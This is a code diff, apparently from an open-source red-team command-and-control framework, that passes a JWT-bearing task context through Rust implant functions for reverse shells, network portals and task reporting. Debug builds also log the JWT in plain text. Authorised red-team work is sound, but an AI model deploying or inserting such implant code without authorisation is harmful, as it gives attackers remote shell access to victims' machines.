Add jwt keys

implants/golemv2/Cargo.toml

@@ -10,6 +10,8 @@ pb = { workspace = true }
 crossterm = { workspace = true }
 walkdir = {workspace = true}
 rust-embed = { workspace = true }
+eldritch-core = { workspace = true }
+eldritch-macros = { workspace = true }
 eldritchv2 = { workspace = true, features = ["std", "stdlib", "fake_bindings"] }
 # Need fake here so we import this on its own
 tokio.workspace = true
@@ -21,4 +23,4 @@ predicates = { workspace = true }
 tempfile = { workspace = true }
 
 [target.'cfg(target_os = "windows")'.build-dependencies]
-static_vcruntime = { workspace = true }
+static_vcruntime = { workspace = true }

implants/golemv2/src/main.rs

@@ -9,6 +9,7 @@ use eldritchv2::assets::{
 };
 use eldritchv2::conversion::ToValue;
 use eldritchv2::{ForeignValue, Interpreter, StdoutPrinter};
+use pb::c2::TaskContext;
 use std::collections::BTreeMap;
 use std::fs;
 use std::process::exit;
@@ -41,11 +42,17 @@ fn new_runtime(assetlib: impl ForeignValue + 'static) -> Interpreter {
     // Register the libraries that we need. Basically the same as interp.with_task_context but
     // with our custom assets library
     let agent = Arc::new(AgentFake {});
-    let agent_lib = StdAgentLibrary::new(agent.clone(), 0);
+    let task_context = TaskContext {
+        task_id: 0,
+        jwt: String::new(),
+    };
+    let agent_lib = StdAgentLibrary::new(agent.clone(), task_context.clone());
     interp.register_lib(agent_lib);
-    let report_lib = eldritchv2::report::std::StdReportLibrary::new(agent.clone(), 0);
+    let report_lib =
+        eldritchv2::report::std::StdReportLibrary::new(agent.clone(), task_context.clone());
     interp.register_lib(report_lib);
-    let pivot_lib = eldritchv2::pivot::std::StdPivotLibrary::new(agent.clone(), 0);
+    let pivot_lib =
+        eldritchv2::pivot::std::StdPivotLibrary::new(agent.clone(), task_context.clone());
     interp.register_lib(pivot_lib);
     interp.register_lib(assetlib);
     interp

implants/imix/src/task.rs

@@ -3,7 +3,7 @@ use eldritch::runtime::{
     messages::{AsyncDispatcher, AsyncMessage, ReportErrorMessage, SyncDispatcher},
     Message,
 };
-use pb::c2::{ReportTaskOutputRequest, TaskError, TaskOutput};
+use pb::c2::{ReportTaskOutputRequest, TaskContext, TaskError, TaskOutput};
 use transport::Transport;
 
 use crate::run::Config;
@@ -128,6 +128,10 @@ impl TaskHandle {
                                 // still report errors.
                                 match t
                                     .report_task_output(ReportTaskOutputRequest {
+                                        context: Some(TaskContext {
+                                            task_id: id,
+                                            jwt: "no_jwt".to_string(),
+                                        }),
                                         output: Some(TaskOutput {
                                             id,
                                             output: String::new(),

implants/imixv2/src/agent.rs

@@ -1,8 +1,8 @@
 use anyhow::{Context, Result};
 use eldritchv2::agent::agent::Agent;
 use pb::c2::host::Platform;
-use pb::c2::transport::Type::{self, *};
-use pb::c2::{self, ClaimTasksRequest};
+use pb::c2::transport::Type;
+use pb::c2::{self, ClaimTasksRequest, TaskContext};
 use pb::config::Config;
 use std::collections::{BTreeMap, BTreeSet};
 use std::sync::{Arc, Mutex};
@@ -119,13 +119,13 @@ impl<T: Transport + Sync + 'static> ImixAgent<T> {
 
     pub async fn rotate_callback_uri(&self) {
         let mut cfg = self.config.write().await;
-        if let Some(info) = cfg.info.as_mut() {
-            if let Some(available_transports) = info.available_transports.as_mut() {
-                let num_transports = available_transports.transports.len();
-                if num_transports > 0 {
-                    let current_idx = available_transports.active_index as usize;
-                    available_transports.active_index = ((current_idx + 1) % num_transports) as u32;
-                }
+        if let Some(info) = cfg.info.as_mut()
+            && let Some(available_transports) = info.available_transports.as_mut()
+        {
+            let num_transports = available_transports.transports.len();
+            if num_transports > 0 {
+                let current_idx = available_transports.active_index as usize;
+                available_transports.active_index = ((current_idx + 1) % num_transports) as u32;
             }
         }
     }
@@ -175,6 +175,9 @@ impl<T: Transport + Sync + 'static> ImixAgent<T> {
         let registry = self.task_registry.clone();
         let agent = Arc::new(self.clone());
         for task in tasks {
+            #[cfg(debug_assertions)]
+            log::info!("Claimed task {}: JWT={}", task.id, task.jwt);
+
             registry.spawn(task, agent.clone());
         }
         Ok(())
@@ -286,22 +289,26 @@ impl<T: Transport + Send + Sync + 'static> Agent for ImixAgent<T> {
         Ok(c2::ReportTaskOutputResponse {})
     }
 
-    fn start_reverse_shell(&self, task_id: i64, cmd: Option<String>) -> Result<(), String> {
-        self.spawn_subtask(task_id, move |transport| async move {
-            run_reverse_shell_pty(task_id, cmd, transport).await
+    fn start_reverse_shell(
+        &self,
+        task_context: TaskContext,
+        cmd: Option<String>,
+    ) -> Result<(), String> {
+        self.spawn_subtask(task_context.task_id, move |transport| async move {
+            run_reverse_shell_pty(task_context, cmd, transport).await
         })
     }
 
-    fn create_portal(&self, task_id: i64) -> Result<(), String> {
-        self.spawn_subtask(task_id, move |transport| async move {
-            run_create_portal(task_id, transport).await
+    fn create_portal(&self, task_context: TaskContext) -> Result<(), String> {
+        self.spawn_subtask(task_context.task_id, move |transport| async move {
+            run_create_portal(task_context, transport).await
         })
     }
 
-    fn start_repl_reverse_shell(&self, task_id: i64) -> Result<(), String> {
+    fn start_repl_reverse_shell(&self, task_context: TaskContext) -> Result<(), String> {
         let agent = self.clone();
-        self.spawn_subtask(task_id, move |transport| async move {
-            run_repl_reverse_shell(task_id, transport, agent).await
+        self.spawn_subtask(task_context.task_id, move |transport| async move {
+            run_repl_reverse_shell(task_context, transport, agent).await
         })
     }
 

implants/imixv2/src/portal/mod.rs

@@ -1,4 +1,5 @@
 use anyhow::Result;
+use pb::c2::TaskContext;
 use transport::Transport;
 
 pub mod bytes;
@@ -7,8 +8,8 @@ pub mod tcp;
 pub mod udp;
 
 pub async fn run_create_portal<T: Transport + Send + Sync + 'static>(
-    task_id: i64,
+    task_context: TaskContext,
     transport: T,
 ) -> Result<()> {
-    run::run(task_id, transport).await
+    run::run(task_context, transport).await
 }

implants/imixv2/src/portal/run.rs

@@ -1,5 +1,5 @@
 use anyhow::Result;
-use pb::c2::{CreatePortalRequest, CreatePortalResponse};
+use pb::c2::{CreatePortalRequest, CreatePortalResponse, TaskContext};
 use pb::portal::{BytesPayloadKind, Mote, mote::Payload};
 use pb::trace::{TraceData, TraceEvent, TraceEventKind};
 use portal_stream::{OrderedReader, PayloadSequencer};
@@ -18,7 +18,7 @@ struct StreamContext {
 }
 
 pub async fn run<T: Transport + Send + Sync + 'static>(
-    task_id: i64,
+    task_context: TaskContext,
     mut transport: T,
 ) -> Result<()> {
     let (req_tx, req_rx) = mpsc::channel::<CreatePortalRequest>(100);
@@ -46,7 +46,7 @@ pub async fn run<T: Transport + Send + Sync + 'static>(
     // Send initial registration message
     if req_tx
         .send(CreatePortalRequest {
-            task_id,
+            context: Some(task_context.clone()),
             mote: None,
         })
         .await
@@ -83,7 +83,7 @@ pub async fn run<T: Transport + Send + Sync + 'static>(
                 match msg {
                     Some(mote) => {
                         let req = CreatePortalRequest {
-                            task_id,
+                            context: Some(task_context.clone()),
                             mote: Some(mote),
                         };
                         if req_tx.send(req).await.is_err() {

implants/imixv2/src/shell/pty.rs

@@ -1,5 +1,5 @@
 use anyhow::Result;
-use pb::c2::{ReverseShellMessageKind, ReverseShellRequest};
+use pb::c2::{ReverseShellMessageKind, ReverseShellRequest, TaskContext};
 use portable_pty::{CommandBuilder, PtySize, native_pty_system};
 use std::io::{Read, Write};
 use transport::Transport;
@@ -8,7 +8,7 @@ use transport::Transport;
 use std::path::Path;
 
 pub async fn run_reverse_shell_pty<T: Transport>(
-    task_id: i64,
+    task_context: TaskContext,
     cmd: Option<String>,
     mut transport: T,
 ) -> Result<()> {
@@ -19,12 +19,15 @@ pub async fn run_reverse_shell_pty<T: Transport>(
     let (internal_exit_tx, mut internal_exit_rx) = tokio::sync::mpsc::channel(1);
 
     #[cfg(debug_assertions)]
-    log::info!("starting reverse_shell_pty (task_id={task_id})");
+    log::info!(
+        "starting reverse_shell_pty (task_id={0})",
+        task_context.clone().task_id
+    );
 
     // First, send an initial registration message
     if let Err(_err) = output_tx
         .send(ReverseShellRequest {
-            task_id,
+            context: Some(task_context.clone()),
             kind: ReverseShellMessageKind::Ping.into(),
             data: Vec::new(),
         })
@@ -90,6 +93,7 @@ pub async fn run_reverse_shell_pty<T: Transport>(
     // Spawn task to send PTY output
     const CHUNK_SIZE: usize = 1024;
     let output_tx_clone = output_tx.clone();
+    let task_context_clone = task_context.clone();
     tokio::spawn(async move {
         loop {
             let mut buffer = [0; CHUNK_SIZE];
@@ -120,9 +124,9 @@ pub async fn run_reverse_shell_pty<T: Transport>(
 
             if let Err(_err) = output_tx_clone
                 .send(ReverseShellRequest {
+                    context: Some(task_context_clone.clone()),
                     kind: ReverseShellMessageKind::Data.into(),
                     data: buffer[..n].to_vec(),
-                    task_id,
                 })
                 .await
             {
@@ -134,9 +138,9 @@ pub async fn run_reverse_shell_pty<T: Transport>(
             // Ping to flush
             if let Err(_err) = output_tx_clone
                 .send(ReverseShellRequest {
+                    context: Some(task_context_clone.clone()),
                     kind: ReverseShellMessageKind::Ping.into(),
                     data: Vec::new(),
-                    task_id,
                 })
                 .await
             {
@@ -161,13 +165,14 @@ pub async fn run_reverse_shell_pty<T: Transport>(
             break;
         }
 
+        let task_context_clone = task_context.clone();
         if let Some(msg) = input_rx.recv().await {
             if msg.kind == ReverseShellMessageKind::Ping as i32 {
                 if let Err(_err) = output_tx
                     .send(ReverseShellRequest {
+                        context: Some(task_context_clone),
                         kind: ReverseShellMessageKind::Ping.into(),
                         data: msg.data,
-                        task_id,
                     })
                     .await
                 {
@@ -192,6 +197,9 @@ pub async fn run_reverse_shell_pty<T: Transport>(
     }
 
     #[cfg(debug_assertions)]
-    log::info!("stopping reverse_shell_pty (task_id={task_id})");
+    log::info!(
+        "stopping reverse_shell_pty (task_id={0})",
+        task_context.clone().task_id
+    );
     Ok(())
 }